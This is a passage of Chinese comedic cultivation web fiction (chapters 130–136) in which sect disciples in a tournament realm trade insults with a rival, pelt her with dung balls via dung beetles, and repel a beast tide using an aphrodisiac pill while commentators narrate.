帝隐抿了抿唇,默默打量那唇红齿白的漂亮少年。 晚晚……是被他啃的。 还是……风回雪。 又或者,二人皆是她的人。 云为泽指尖缓缓一蜷,十指收拢,心中愈发不知其味。 江献晚有六个男人,他现在,真的……信了一大半。 花不休眼眸深处掀起细微的波动,睫毛一抬,面无表情地觑过去,低沉的嗓音意味不明,“你说什么?” 云舟上似有恐怖的气息一触即发,树杈上的解说员还在快乐的摇晃着树枝,高声惊呼,“这得攒多少天啊!” “我勒个去,在屎壳郎的强烈要求下,江献晚又掏出一大坨!快看!江献晚又开始团粪球了!” “修言也出手了!” “哦呵!何未语也加入了激动人心的团粪球大赛!” 灵幕中,苏清流都顶着一张厌世脸,在散漫地……认真搓屎。 “难道他们要和屎壳郎比一比谁团的粪球大,谁团的粪球圆,来羞辱死这些屎壳郎吗?” “这么看的话……江献晚,她、赢、了!” 徐燕洲只觉眼前一片漆黑,翻着白眼,恨不能当场昏死过去。 天青宗和道明宗两位掌门咳的惊天动地,双眼噙着无助而绝望地泪花,“徐掌门……你确定,她真的没有……什么心事吗?” “南境……非屎不可吗?” 徐燕洲:“……” “铁长老,你说呢?” 铁长老:“……可能,有一点。”亿点。 什么粪球!丹药!丹药!那是丹药啊! 别说这一望无际的人魔妖都没看见! 竟然抹黑他们太虚宗,抹黑整个南境! 雾渺憋笑憋的,端茶的手,都在隐隐发抖。 江献晚不知虚古境外发生的一切。 她若是知道她打响玄古大陆的成名战,是因为一坨粪球,打死她也不会在两境三域面前搓屎的! 后来,提起来,一把辛酸泪。 不知是哪个杀千刀的写了一本书,叫江献晚的成名屎。 她自然不能预知未来,搓的开心无比。 托着一颗巨大的粪球,对着那只体型最大的屎壳郎大王发出慈爱的微笑。 “宝,想要吗?那就让你们的……呃,让它们散开。” 她指了指一群围在,边恶心狂吐,边擦屎的林玉锦身边疯狂捡屎的屎壳郎。 屎壳郎大王迷离而充满渴望地盯着那坨粪球,急不可耐伸出前肢:要!我要——! 立刻下令让那些屎壳郎散开。 虚古境外,看着为了争那几个奇大无比的粪球,而大打出手的一群屎壳郎,观众们陷入一种震撼人心的寂静。 不知谁低声而凝重地说了一句,“太虚宗亲传,可真是……恐怖如屎。” 徐燕洲铁长老:“……”他们,此时此刻,真的很想屎。 “等等。”苏清流忽然抬起睫毛帘子,小伙伴立刻噤声。 “有动静。” 场外观众自然也注意到了这一幕,北境和南境画面中的景物竟然开始逐渐重叠。 没想到这么快就有两支小队伍碰到了一起,尤其两境还算友好的关系。 蹲在树杈上的解说员手舞足蹈,语气愈发慷慨激昂,“天啊!这才进去多久,北境和南境先撞在一起了!” “他们会打起来吗?” “我觉得不会,他们估计还会达成共识,先把三域送出去!” “让我们擦亮眼睛,拭目以待吧!” “咦?江献晚怎么开始和屎壳郎抢粪球了?” 只见江献晚不知对小伙伴们说了什么,一个箭步冲上去,脚上踩粪球。 两只手一比划,“你们想要这么大的粪球吗?” 屎壳郎夫妻:“……?” “那就听我指挥。” 解说员激动地一捶树干,“真的,我真的看不懂,相对于北境和三域,南境简直是骚操作。” “还有,江献晚想做什么?” “大家不妨大胆的猜猜。” 第 131 章 我们都被狗咬过 很快有妖高举起手,大声道:“他们定是察觉到了敌军,不知道是北境小队,用粪球和屎壳郎大军达成了什么协议!” “他们难不成想让屎壳郎为他们冲锋陷阵,待会用屎臭死敌军?” 徐燕洲铁长老:“……”猜的很好,不许再猜了。 两人不由得再次想到在自家秘境时,那令人眼前一黑又一黑的一幕幕。 双双深埋下头,弯下脊背。 徐燕洲:话说,他为什么想不开! 早知道,就该让其他长老来的! 铁长老:话说,他运气为什么那么差! 偏偏抽中那团带字的纸团,被其他长老欢天喜地而又冷漠无情地送上一条,一眼看不到头的,黑暗的,绝望的……旅途! 雾渺手一哆嗦,屏住呼吸,莫名生出一种前所未有的紧张。 心中默默祈祷:希望江献晚他们可以早点发现来的是北境小队,不是三域的队伍。 南境和北境两支队伍,终于在场外观众万分期待的目光中相遇了。 两方一照面,都很惊讶。 尤其南境小队正站在一群密密麻麻的屎壳郎中。 林轻染嫌恶地皱眉,微微退后两步。 裴长安看的一愣一愣的,表情转换了好几种颜色,唏嘘道:“江师妹,你们这运气?” 碰到这么一片异兽潮就算了。 还是……屎壳郎? 江献晚淡定地道:“路过而已,它们还挺友好的。” 林轻染白衣拂动,看了一眼她手中巨大无比的一坨,发出一声暗含嘲讽的轻笑,“江师妹还真是……口味独特。” 她将最后四个字咬的略重,认真听,总能听出点什么。 嘶! 南境小队的眼神瞬间变了。 口味独特。 她是在暗讽江献晚对着一坨坨粪球…… 女人对女人之间向来有种天然的第六感。 何未语踏出一步,剑出鞘半寸,站到江献晚身侧。 素来温柔的大师姐眉眼笼着两分冷漠,“林道友想来也是闻到了什么气味,才被吸引到这里,匆匆赶来。” “若说口味独特,我等不及林道友半分。” “说的好!”林玉锦和修言啪啪鼓掌,其他小伙伴也跟着啪啪鼓掌。 你阴阳怪气嘲讽谁呢? 南境小队十二人,你指名道姓,偏揪着一人。 把谁当傻子呢! “什么人啊这是。” “这么茶言茶语的话她是怎么说出来的?” “我怀疑她刚才偷偷吃过屎了。” “别说,你还真别说,估计吃完还没刷牙。” 不用苏清流他们三个开口,道明宗和天青宗八个亲传,你一句我一句,小嘴嘚吧嘚吧怼回去。 嘶! 北境小队表情开始变得丰富,明阳宗和梵音宗亲传面面相觑,面皮俱有些红。 林轻染怎能对南境的道友说出如此……令人不适的话。 他们毕竟跟南境三宗亲传搓了两天两夜的麻将,相处的很是融洽。 裴长安又双叒叕低下了头。 她是有……什么病入膏肓的毛病吗? 不说话……会死吗? 林轻染:“……” 她长的漂亮,走到哪里,受到的都是优待,又双叒叕再次享受到这般尖酸刻薄的针对,脸一下子就绿了。 这会儿发现,他们北境的其他两个友宗俱都是仿佛很丢脸的反应。 心中咯噔一声,忙敛了眼底的恨意,眼眶一红,“我只是随口一句,并无其他意思,你们何必如此咄咄逼人?” 何未语上下扫了她一眼,忽然温柔地抱歉一笑,“那还真是不好意思,我以前被狗咬过,有些敏感,你不要介意。” “对!我们都被狗咬过!” 林轻染:“……!” 江献晚:“……?” 江献晚差点笑死,没想到最好脾气的何师姐,嘴巴毒的跟二师兄有得一拼。 不过,有人坚定守护的感觉,真就……挺好的。 转眸对眼泪都在打转的少女,真诚地道:“林道友,我知道我们拒绝了你,将生灵果给了裴师兄,可你没出什么力,如果因为此事,让你不开心了……” 她说着,语气严肃了一些,而又格外诚恳,“你多忍忍,因为,确实是你自己的原因。” 裴长安脑袋又低了一些。 可当听到那声裴师兄,睁着亮晶晶的眼睛,猛然抬起头,“江师妹,此事不是你的错,她已经受过罚了!” 林轻染:“……” 妈的! 你是哪一边的! 还有……死嘴,快吵回去啊! 她死死咬住唇瓣,发现对面不仅三个着青衣的少年阴郁的盯着她,其他人更是拿嫌弃的小眼神对着她狂扫。 北境两个友宗看天看地,没一个站出来替她说话的。 林轻染气的脸上白一阵,红一阵,半天说不出话。 江献晚!又是江献晚!全都是因为江献晚! 贱人! 裴长安不想因为林轻染同南境搞的剑拔弩张,更不想和江献晚他们产生丁点不痛快。 生怕她嘴再痒,扭头道:“你闭嘴!” 轻染:“……”尼玛。 她说话了吗?! 裴长安低声警告过她,抬步越过林轻染,努力缓和有些剑拔弩张的气氛,温声提议,“江师妹,不若我们同行,此后联手将三域逐一送出?” “不。” 让裴长安意外的是,苏清流反驳了他,“各凭本事。” 他怕,他会忍不住,先将北境的人全部送出去。 尤其……拜在雾渺座下的林轻染和裴长安。 左看右看,没一点顺眼。 裴长安沉默了片刻,只能压下心里的失望,“那,便依苏师弟所说,就此分开。” 三域都还没给他们送出去,总不能两个友境先打起来吧。 平日里再怎么纷争不断,荣誉面前,绝不可含糊。 江献晚暂时不打算对北境小队出手,和林轻染的视线不期而遇撞在一起。 三秒后,林轻染率先挪开。 江献晚瞧着她眼中那抹一闪而逝的惊人戾气,微微一挑眉。 女主对她的敌意,竟到了恨之入骨的地步。 那她也没有必要给对方留脸面。 眸光微动,唇角挑笑,对着身后的小伙伴道:“听说虚古境有种很特别的茶,你们留意一下,我想拔一些。” 这也是花不休揪着她的耳朵,给她下达的任务。 何未语亲热地揽过她的肩,“是绿茶吗?我曾在一本书中看到过,里面有三个字与这茶名很是贴切,只不过是形容外表清纯无辜,实则一肚子坏水的人。” 第 132 章 喜提粪球 北境小队支起耳尖,一言难尽的目光,不由自主划向轻染。 白子夜笑的温润,拖长嗓音,接她的话,“哪三个字?” 何未语直直看向林轻染,温柔笑道:“绿、茶、婊。” 林轻染:“……” “哟~”南境小队好大一声齐嘘,“原来是——绿~茶~婊~呀~” 林玉锦:“哈哈哈!” 林轻染:“……”贱人! 裴长安:“……?” 不能说了,真的不能再说了,再说他又要低头了。 裴长安分别的话都没敢说,吓得扭头撒腿就跑,活像有鬼在后面撵他。 北境队伍首先调头。 江献晚看着那道纤尘不染的白影,唇角一侧轻牵。 先撩者……贱呐。 她蹲下身子,对屎壳郎夫妻小声哔哔:“尊敬的大王王后,你们可能不太了解口味独特的深层含义,那女的刚才看似阴阳我,其实是在暗讽你们吃屎,嫌你们是恶心的生物。” “唉,真不知道她这张嘴,怎么能说出这么过分的话,太令人心寒了!” “在我们心里,你们可是大自然当之无愧,令人敬仰地清洁之神啊!” 屎壳郎夫妻:“……?” 一个修为还没它们高的弱鸡敢嘲笑它们屎壳郎吃屎? 简直找屎! 屎壳郎夫妻顿时气的嗡嗡一顿乱叫。 打屎她!!! 江献晚起身之际,只见两颗硕大的粪球,流星般在空中划出两抹好看的弧度。 在小伙伴们不约而同,抬高视线,拿手远眺,哇偶地变异兴奋声中,精准朝着还没走远的北境队伍砸了过去。 “啊啊啊啊啊啊——!” 一阵撕心裂肺的悦耳尖叫,久久响彻天际,透过灵石,传出虚古境。 措手不及,林轻染被两团一前一后的真正粪球正中脑袋。 观众们嘴巴大张,双眼瞪大如铜铃,表情很是难耐。 显然被这震撼的一幕冲击到了心灵。 两境三域高层,齐齐拿手捂嘴,一时间痛苦的“哕”声此起彼伏。 眼底暗色萦绕的雾渺眸光倏尔凝滞,指尖一哆嗦,茶水泼湿了衣袖。 解说员努力咽下想要哇哇吐的冲动,唾沫星子乱溅,伸着脖儿,尽职尽责大声嘶吼,“俺滴娘唉!万古宗掌门亲传弟子林轻染竟然被两颗真正意义上的粪球砸中了脑袋!” 雾渺:“……”说归说,能不能不要提他! 雾渺默默低头,第一次拿袖遮了面,喉间发出一声强行压制的“哕——!” “我看的很清楚,江献晚方才蹲下跟那两个屎壳郎小声说了什么,它们竟然连心爱的粪球都丢了出去!” “天呐!这真的是有屎以来最惊心动魄的一幕!快看!林轻染……她吐了!” 雾渺一边恶心反胃,一边绝望地蹙紧眉。 林轻染方才独独针对江献晚? 她怎么想的? 脑子里装的都是……屎吗?! 本来还生气林轻染嘴咋那么贱的徐燕洲和铁长老,这会儿尴尬地用脚趾抠地。 江献晚那小脾气一上来,干天干地,干死所有人。 那两只屎壳郎显然被她三言两语挑拨,洗脑成功,干出拿粪球砸人的事。 想整句什么来缓和一下气氛,却听天明宗和道明宗两个掌门很不给面子的发出一串魔鬼笑声。 “鹅鹅鹅鹅鹅鹅……屎到临头。” “鹅鹅鹅鹅鹅鹅……屎得其所。” 长老们哇哇吐的同时,听的灵光一闪,兴冲冲跟着接。 “屎有余辜。” “屎不瞑目。” “屎于非命。” “屎去活来。” “屎不足惜。” “鹅鹅鹅鹅鹅鹅鹅鹅鹅鹅鹅鹅鹅……哕!” 徐燕洲铁长老:“……”毁灭吧……真的。 界域三王眼神锃亮,刷地很有默契地弯下腰,狗狗祟祟碰头。 暮殇:“喂,狗东西,你们觉不觉得她玩屎的样子,帅的很熟悉?” 辛熠一记左勾拳,干他下巴壳上,“死东西!说就说!先把你的臭脚从老子黢黑的翅膀上挪开!你才是狗东西!你全家都是狗东西!她是帅!但她为什么要笑!” 绯雨大怒,撸起袖子,一蹦三尺高,双手叉腰,破口大骂,“你个死鸟!你踏马什么意思?敢嘲讽吾皇不会笑?我特么现在就替吾皇捶屎你!” 暮殇跟着跳脚,指着他,狂喷回去:“好你个小贱魔!你敢管到吾皇头上!等劳资找到吾皇的棺材板就把吾皇挖出来打屎你!” 辛熠刷地张开翅膀,一个大逼斗朝暮殇扇过去:“该死的小贱人!你特么敢咒吾皇死?!劳资现在就把你能屎,下去陪吾皇!!!” 绯雨亮出两只拳头:“好哇!你俩个狗玩意儿可把真心话说出来了!今天劳资就先把你俩捶屎!我特么让你们说吾皇屎!” 被‘屎’字魔音绕耳的徐燕洲,满脸麻木:算了,屎就屎吧。 左右,南境的天……反正塌的支棱不了一点。 江献晚这小兔崽子,哪里是吃亏的主,你说你嘴贱个什么劲,惹她干啥? 咋就狗改不了吃屎? 现在好了,喜提两坨大粪球,开心了?高兴了?好受了? 活该屎! “好了,江献晚又送给它俩两坨粪球,屎壳郎真大方,竟然扣下了一指甲盖递给了江献晚。” “唉,江献晚怎么拒绝了?” “她拒绝的是粪球吗?不!她拒绝的是一只屎壳郎的满满的心意啊!” “真可恶,她为何不接?” “好吧,真够遗憾的,在两方激烈的你推我让的友好谦让之下,高潮而又令人魔妖难以下咽的一幕终于结束,现在让我们平复一下心情,把目光放在正常的……呃?” “界域弟子怎么又自己跟自己打起来了,还在扯遮羞布?” “他们不是来参加玄古大赛吗?自家跟自家赛来了?” “还记得五枚碎片正在某个地方,对他们望眼欲穿吗?” 观众看着那一堆扭打在一起,身体扭曲,纵横交织的界域修士,又齐刷刷扭头看,同样从头黑到脚,同样撕吧在一起的界域三王,眼里写满了深深的震惊。 不愧是臭名远扬的界域,自上而下,就没一个正常的。 “算了,这可能就是界域别致而独特的传统,还是让我们看一下妖域小队的情况,请看!狼太灰似乎和白天鹅产生了火热地摩擦,两个妖正在说什么?” “那只白天鹅把美丽洁白的翅膀刷地伸到了狼太灰面前。” 第 133 章 兽潮 “听不清楚。难不成,他是在说,你看我翅膀漂亮不漂亮,够不够白?哈哈!” “当然,开个玩笑。这里就不得不插播一句,相信大家都听说了,几天前有个流氓又有钱的女修到处摸人家翅膀。” “不知道这个漂亮的白天鹅是不是也被她摸过。” “再插播一句,她嫌弃完狼太灰的尾巴后,还把他芥子囊顺走了。” “可怜的狼太灰,被客栈老板扔了出去,流落街头,还被妖域殿下命妖又扔出了客栈……” 而此刻,虚古境中,狼太灰暴躁地拿尾巴抽开伸到他面前的翅膀。 “怎么?我的话就不是话了,不听你现在就滚出去啊!” 白羽冷冷一笑,不避不让,“妖域的荣誉高于一切,你少在这里丢脸!” 不知哪个字戳到了狼太灰的痛处,他气的一蹦三尺高,“死鸟!信不信我把你变成烤鸡翅!” “狼太灰,我才是队长,还有,你不要在这里跟我狗叫!” “你说什么?!你骂谁是狗!” 好吧,妖域自家同样打了起来,倒也不算意外。 毕竟,妖域的内部矛盾,严重到了人魔妖尽知的地步。 解说员摇头啧啧,“我表示理解和同情,毕竟妖域和界域这两域的内部斗争都挺严重的。” “这样一看,南北两境,还有魔域就不错,最起码还有一点点小正常在身上的。” “言归正传,还是让我们再看一下魔域小队的情况吧。” “看看,我就说魔域还是有点正……” 他话还没说完,声音忽然来了个惊悚的劈叉。 “那几个在草丛里做什么!一打四?!拜托!现在可是大赛!大赛!别脱了——!!!” 又唏嘘喃喃道:“不愧是魔域,何时何地,都不忘修炼合欢术……敬业。” “这么一看,我觉得南境小队团屎的行为,还算……哕!” “当然,我觉得最正常的就是北境小队了。” “林轻染在队友的安慰下,终于恢复了仙气飘飘的女神形象,他们来到了一片密林,只碰上五个金丹期的异兽,这对于优秀的北境小队来说,根本不是什么问题。” “我去,他们运气太好了吧,再次找到一片稀有灵植!” “反观南境,咦?他们怎么那么倒霉,竟然遇到了……三四,卧槽!六头化神巅峰异兽!” “等等!附近的异兽为何……兽潮!是兽潮!” 起初,是脚下地面的颤抖,细碎的石砾簌簌滚落。 放眼远眺,参天古树倒伏下去。 紧接着,一片翻涌的,浑浊的尘土枯叶,混夹着狂暴气息,骤然从林中四方八方喷涌而出,以排山倒海之势,涌向南境小队方向。 这一幕,江献晚他们视线受阻,场外观众却可以通过他们佩戴的灵石,从投映出来的灵幕上,隐约看到迅速从各处汇聚而来的各种异兽。 所过之处,不断有古树直接被拦腰撞断,发出沉闷的倒塌声。 这一幕,让南境高层瞬间就坐不住了。 虚古境的异兽,短短大半天,便能让人瞧出其恐怖的战斗力。 不提那些生存在内围,各个难缠的高阶异兽,外围异兽亦不容小觑。 南境小队恐怕再如何有力一战,也免不了有人被清出局。 徐燕洲神色有些难看,“兽潮。” 兽潮少有,象征着毁灭的洪流,碾过大地,掀起死亡之浪,放在哪个秘境都是鲜少遇到的现象。 形成兽潮源于多种原因交织,栖息地的破坏,食物的短缺,气候变化,生态失衡,亦或者是高阶生物或特殊力量的驱使。 而汇聚来的异兽,皆是活动在南境小队所在附近。 它们疯了似的,像是同时收到某种信号,都在疯狂朝江献晚他们的位置狂奔。 铁长老用力攥紧座椅扶手,表情更算不上好看,“怎么回事,附近异兽为什么全都突然朝着江献晚他们去了!” 云舟上,花不休他们亦是蹙着眉,目光紧紧绞着那一片规模不算小的兽潮,风回雪面色白了些,捂了江行行的眼睛。 解说员还在凄厉嘶吼。 “太倒霉了!这才第一日!南境小队又遇到了一波兽潮!” “而且,这些兽潮由不同种类的异兽组成,来者不善,可没那些屎壳郎好相与!” “不过,倒是可以借此看一下南境小队的真正实力!快看!南境小队迅速调整队伍!” “这反应,漂亮!他们怎么配合的那么默契!” 没错,江献晚他们察觉附近异兽突然暴动,想寻找突破口已经来不及了。 这些分散的异兽距离他们近,奔跑的速度又很快,所有方向被堵死,只能迅速在原地形成背对背的作战姿态。 何未语第一次遇到这种异兽像是倾巢而出的壮观景象,握剑的手有些抖,“兽潮?” 小伙伴艰难地咽了咽口水,“只能说,是的。” 听起来不少。 短短交谈的功夫,声音已然追赶上画面。 各个长相怪异狰狞的异兽,急速移动,呈圆形包抄而来。 首先映入眼帘的是,几头形状混合了羊与牛,还有马三种特征的大型异兽。 粗粗看去,还有长着人面,虎头牛身,四只角的。 当看到那十几个全身黑色,与猪相似,前后各长着一个脑袋,尤为辣眼睛的异兽,十二人齐声激动大喊—— “卧槽!” “好丑啊!” 场外观众:“……” 解说员都给整无语了,短暂的哑口无声后,紧张的心情倒是不自觉地放松了两分,清清嗓子,继续尽职尽责讲述。 “此时此刻,还能发出如此诚恳辣评,看的出来,南境小队还挺放松的。” “真的,我希望他们都能挺过去,一个都不少!” “快看!异兽将他们围起来了!” “苏清流出剑了!他的剑意好快!像一缕风难以捕捉!这就是天生剑骨吗?这一剑简直挥在了我的心巴上!” “咦?江献晚为什么会拎着一口锅暴打异兽啊!” “还有,林玉锦为什么会被剑转着圈抽屁股?白子夜刚才甩出的那支笔为什么会那么大?不过,抡起来看的很爽就是了,顺便还能凌空画符!” 第 134 章 整整齐齐 “何未语……嗯?她为什么突然……拿剑鞘砸异兽啊!” 别问。 问就是,她看到江献晚拿锅暴扣异兽的样子好帅,一激动,就把剑鞘扔出去了。 “修言又拿出了他的令牌!好吧,南境小队的法器,还真是奇奇怪怪与众不同。” “我去!修言手中的令牌竟让异兽的修为跌到了元婴!不愧是道明宗首席大弟子!这一手,牛掰!” “不过。” 讲解员声音忽然有些凝肃,“就怕他们打斗的动静会吸引来更多的异兽。” 南境小队此刻正陷入激烈的厮杀。 本来天青宗和道明宗的亲传,望着那些体型巨大,口中喷吐着腥臭涎沫,如潮水般扑来的异兽,还有点慌。 在看到江献晚不紧不慢掏出一口锅,眼尾一挑,兴奋地拿手吹了口哨,活像个流氓,苏清流他们仨还能笑眼去看自家小师妹,诡异地,跟着迅速淡定下来。 “江师妹,还真别说,你这么一吹,我觉得这些异兽都可爱了一些呢!” “搞得我也想吹!” 刹那间,各种音色的口哨声在异兽的嘶吼声中,此起彼伏,形成一种又好笑,又血腥的画面。 南境小队单手迎战的同时,嘴里叼着自己的手指,吹的那叫一个兴奋又努力,还不忘迫切的问身边小伙伴—— “怎么样怎么样?我吹的响吧?” “响是响,就是太难听了!” 场外观众:“……?” 这是正常人遇到兽潮该有的反应? 不知道什么是紧张吗? 还真别说,那里三层外三层,丑陋又狰狞的异兽……好像确实可爱了些。 只见江献晚手臂高高扬起,一手抄起锅,拍西瓜似的,将一头异兽直接爆头,并开心地大吼一声,“颤抖吧!我丑陋的大宝贝们!” “何师姐,师师兄,修言,随我冲锋陷阵,狠狠蹂躏它们地肉体!击穿它们地小心脏!” “大师兄,你随意,打打下手。” 小伙伴脚下纷纷一个趔趄。 冲锋陷阵即可。 蹂躏肉体就算了。 江献晚忽然来这么兴奋一嗓子,小伙伴们被她整的那叫一个热血刹那沸腾,最后一点紧张都散的渣都不剩。 “我等誓死追随江师妹!” 少年们异口同声,此刻眉眼绚烂夺目,恍若明媚艳阳。 举着法器,疯狗似地嗷嗷杀向重围,比异兽叫的都兴奋。 不知道的……还以为他们是异兽。 但只有身处异兽潮中的南境小队清楚的知道,这些异兽爆发的力量有多强,多疯,真的会很有可能要了他们的性命。 那又怎样。 修真路途,本就是一往无前! 白子夜以‘苍生鉴’凌空画符打辅助,左手阵盘不紧不慢脱手甩出,五颜六色的光芒闪的跟走马灯似的。 这种危机情况下,林玉锦想到了他的老婆。 含着泪,强忍着羞耻,被抽了两下屁股,忙捞过来亲了两口,修长五指一握,铮然拔出了那把剑身似缠绕着灵动月魄精华,恰如一轮圆月微缩的长剑。 那剑看起来十足的优雅,微微内陷的流畅凹槽,如同美人玉背上柔和的曲线,无声流淌着冷艳与华贵交融的光辉,挥出的剑意,杀伐与优美完美共生。 温柔的何师姐踩着异兽的脑袋,骑上去,剑柄反抵,哐哐就是一顿只见残影的连番暴击,砸累了,剑刃粗暴一抹,染上一道鸽血痕般的炽烈色泽。 缥缈剑意淌过,苏清流骨指微带,泛着飘忽银色的长剑,流泻出一道道叶脉纤毫毕现般的生机,给几个还有点手忙脚乱的小伙伴打辅助。 剑意轻轻拂过,几个异兽脑袋砰地一声,爆出一团团血雾。 修言动作同江献晚一样粗暴而简单,令牌牌身繁复而惊绝的色彩与质感,奇妙的统合,致命的吸引力,不似凶器,却又拍的异兽修为一跌再跌。 每个人都在厮杀,但也没忘记发挥最大力的同时,还能相互打配合,和及时拉对方一把。 不过,异兽数量有些多,甚至远处有异兽听到动静,还在往这里赶来。 江献晚抖了抖震的发麻的手腕,望着前仆后继,大有不死不休架势的异兽,眼底闪过一丝暗色。 这种情况太危险,打下去,有人清出局是必然。 那便……启动另一种速战速决的方案,以此来保存团队的体力,减少灵力消耗。 最重要的是,十二人一起来的,从头到尾,自然一个都不能少,要通关,整整齐齐一起通关。 当然,谁都没想过要出去,也没想过撕碎唯一的那张传送符。 林玉锦左手还想掏锅,两手打,被右手他老婆抽了一下小臂,嗷嗷大叫:“我错了!” 又哭唧唧道:“卧槽!这是捅了异兽窝了吗?” 他很有必要怀疑,这种倒霉的情况,都是因为刚才遇到北境小队,确切的说,遇到林轻染,才会发生的。 林玉锦毫无负担,将锅全扣在林轻染脑袋上。 江献晚脚尖轻点,脚下阵法成型,配合着白子夜,硬生生将后赶来的几十头异兽隔绝在阵法之外。 “小师兄,我顶着,你炼交欢丹!” 异兽潮不怕,山人自有妙计。 只一句,林玉锦就明白了江献晚的意思,眼睛锃地一亮,胡乱又亲了他老婆两口,当即在原地支起大锅。 “交欢丹好啊,还能促进虚古境异兽的繁衍。” “子子孙孙,无穷尽也!” 幸好他们方才收集了一些有用的灵植,现在用可不就是刚好。 苏清流懒懒散散站在那里,挥出的剑芒,精准而及时的给每一人打辅助,并与江献晚将林玉锦护的滴水不漏。 修言一把扯开即将被异兽掏上肩膀的小伙伴,手中令牌粗暴拍在异兽脑袋上,硬生生将其拍的修为跌落,而后迅速暴退三丈。 别说,散是满天星,聚是一团火,还真有那味了。 他们心路历程转变的比过山车都快,从刚开始惊悚紧张,到现在的全然放松。 特别江献晚又淡定地一张口。 短短十来日,很是了解彼此本性的小伙伴们觉得这把稳了,恨不得原地躺平。 当然,异兽潮还是很恐怖的,战斗力又相当爆表。 他们自然不能真的摆烂。 第 135 章 不雅观,但有用 道明宗柳师姐剑芒划过时,顺手挽了个漂亮的剑花,“没想到我们第一次作战,就配合的这么默契!” 天青宗幕师兄得意洋洋,“那可不!我跟你们打麻将时没少通过分析你们的微表情,来决定下一张牌,尤其是苏清流他们。” “话说,这些惨痛的经验,大家好像都有!” 何未语格外赞同,“我昨晚花了一夜时间分析江师妹,当然,还有她的牌技!” 林玉锦一边颠锅颠出花,还能机警地抬起头,“我说你们怎么进步了!” 白子夜:“他们天天不睡觉,晚上都在通宵搓麻将,能不进步吗?” “哈哈哈!江师妹!等出去,搓上三天三夜如何?” 江献晚眼尾轻轻一挑,“你确定?裤衩输了,别哇哇哭。” 小伙伴一边厮杀,一边在热血飞溅中“哈哈哈。” “让我们朝着异兽,一往无前!” “然后……痛痛快快搓几天麻将!” 解说员抹了一把汗,相当无语,“这种惊心动魄的险状,他们还挺开心?笑的嘎嘎响。” “本来我觉得南境小队悬大了,还以为会成为玄古大赛延续后,首次第一个先出局的小队,现在看来,南境小队的表现真的是很惊艳!” “不过,江献晚不是剑修吗?方才凌空画符也就罢了,一转眼,还能布下一个大型隔绝阵?” “难不成她是三修!我去!那可就太厉害了!” “林玉锦不帮忙打架,怎么突然颠起锅来了?还先哄了他老婆一下!不得不说,这骚操作,着实令我等震惊。” “他们是想用丹药一下解决这些异兽?” 异兽嘶吼声太响,观众没听到江献晚说的交欢丹。 一看就很沉的锅,林玉锦颠的丝毫不费力,手臂线条清晰流畅,自是一道风景。 他颠锅几乎颠出残影,在丹成的一刹那,忽然扭头喊道:“闭气!” 场外观众死死盯紧了这一幕,只见江献晚五指虚虚一握,手中多出一把破烂剑。 而后,同苏清流一起,反手一挥。 这两剑,不仅绞的空气肉眼可见的割裂扭曲,顺便将几只异兽挥斩成两截,血雾喷溅。 场外观众拼命地伸长脖子。 随着丹药的气味传开,那些狂化般,挥爪撕咬,猛烈撞击的异兽,行动肉眼可见变得逐渐滞缓,充满血腥的兽瞳也似乎朦胧了些。 而后……在观众天打雷劈的外焦里嫩中,那些异兽周围像是冒出无数的粉红泡泡。 一改呲牙咧嘴、狂暴凶残地模样,表情荡漾……原地开始了最原始的运动! 望着这不忍直视,响亮嚎春不绝于耳的一幕,直接给好奇什么丹药能一次性解决这么多异兽的观众干沉默了。 这是……正经人能干出的事? 可真特么……损啊! 不仅没出局一个弟子,就这么被轻易解决了? 不得不说,南境小队是有亿点优秀在身上的。 魔域修士看的更是双眼放光。 这些亲传,合该来他们魔域发展,探讨生命传承的真谛啊! 界域三王再次嘀嘀咕咕,交头接耳。 暮殇:“死鸟,你摸摸我,劳资这会儿心跳有点加速。” 辛熠:“去你*的!劳资不摸!绯雨!你去摸!” 绯雨:“滚你俩个大傻*!劳资摸你俩奶奶的腿!” 南境小队勾肩搭背,悠哉悠哉离开兽潮的那一刻,徐燕洲微微瘫回椅背,抹了一把不存在的冷汗。 铁长老松了一口长长的气,“真好,兔崽子脸皮厚还是有点好处的。” 不雅观,但有用,还能保命。 这边兽潮引起的巨大动静,其他四小队自然也隐约听到了。 界域小队丝毫没有好奇,还在致力于扯对方的遮羞布,打的狼烟滚滚,沉浸感直接拉满。 妖域小队同样没吵完,各个脸红脖子粗,毛到处乱飞。 魔域小队春眼朦胧扫了一眼远处的方向,再次滚进茂密的草丛,剩下的几个专心嘿哈,徒手撕异兽。 林轻染注意到很快平息下来的动静,和系统检测反馈回来的美人图鉴上,苏清流三人挪动的位置,待察看玉简有无南境的人出局,越看脸越黑。 “失败了?” “不可能!那么多异兽,他们是如何这么快逃脱的!” 系统控制了不少异兽去攻击南境小队,北境小队一路变得畅通无阻,同时还能重伤江献晚他们。 那么多异兽,高阶的就有十几个,一炷香的功夫,南境小队没出局一人也就算了,竟然全部成功脱困? 系统:“不知。还有,我的能量,最多只能再操控两次这么庞大的兽潮。” 它的那些仙力万不得已,不能用在这种小事上,它已经败了一次,这次无论如何,也要借着林轻染和这些仙力的遮掩,成功飞升! 林轻染抖去剑身上的污血,眼底浮出狠辣的暗色,“知道了。” 又问,“距离碎片的位置还有多远距离?” 系统:“五公里。” 五公里对于一个修士来说并不算远,麻烦就在,这天上飞的,地上跑的到处都是异兽,哪怕只是一个看似平平无奇的虫子,也能无形致命。 林轻染眯起眸子。 不急。 她还有两次机会,一定能杀了江献晚! 系统:“碎片北面有一群长臂异猿,再往北不远是一群金狮异兽,且周围潜伏着大量异兽。” 林轻轻眼底暗色渐浓,语气阴翳道:“碎片是次要,我只想杀了江献晚,夺了她的灵根,炼化她的琉璃玉骨!” 还有苏清流三人,既然得不到他们的心,那便杀了他们,抢了他们的气运。 来祭她登上界皇宝座的第一步! 系统:“不错。”总算对得起它的一顿破口大骂,长出点脑子了。 另一边。 南境小队成功脱困。 此刻背抵着背,坐在一棵树下,一边警惕四周,一边调整体力。 何未语后知后觉,出了一身冷汗,“虚古境的异兽太强了,根本不是外边那些可以相提并论的。” 江献晚安抚的拍了拍她发凉的手,“没事,再厉害也就一剑的事,何师姐,你方才真的帅爆了!” 何未语看着那双星星眼,忍不住一把抱住了她,脸埋在她肩膀上,抿唇轻笑,“江师妹,我明明用了几剑才杀了那头元婴巅峰异兽。” 太刺激辣! “嗯。”江献晚轻笑一声,指尖拂去她脸颊的血污,“已经很厉害了。” 何未语是天青宗大师姐,剑术修的自然惊艳,她可不是胡夸的。 第 136 章 骑鸟 何未语缓了片刻,才意识到安抚她的少女比自己还要小两岁。 方才在那么多异兽的围攻下,却最是镇定自若,无惧无畏。 羞涩地眨眨眼,“不过,杀的很爽。” 修言瘫着半边身子,“爽死了,抡的我胳膊都快废了。” 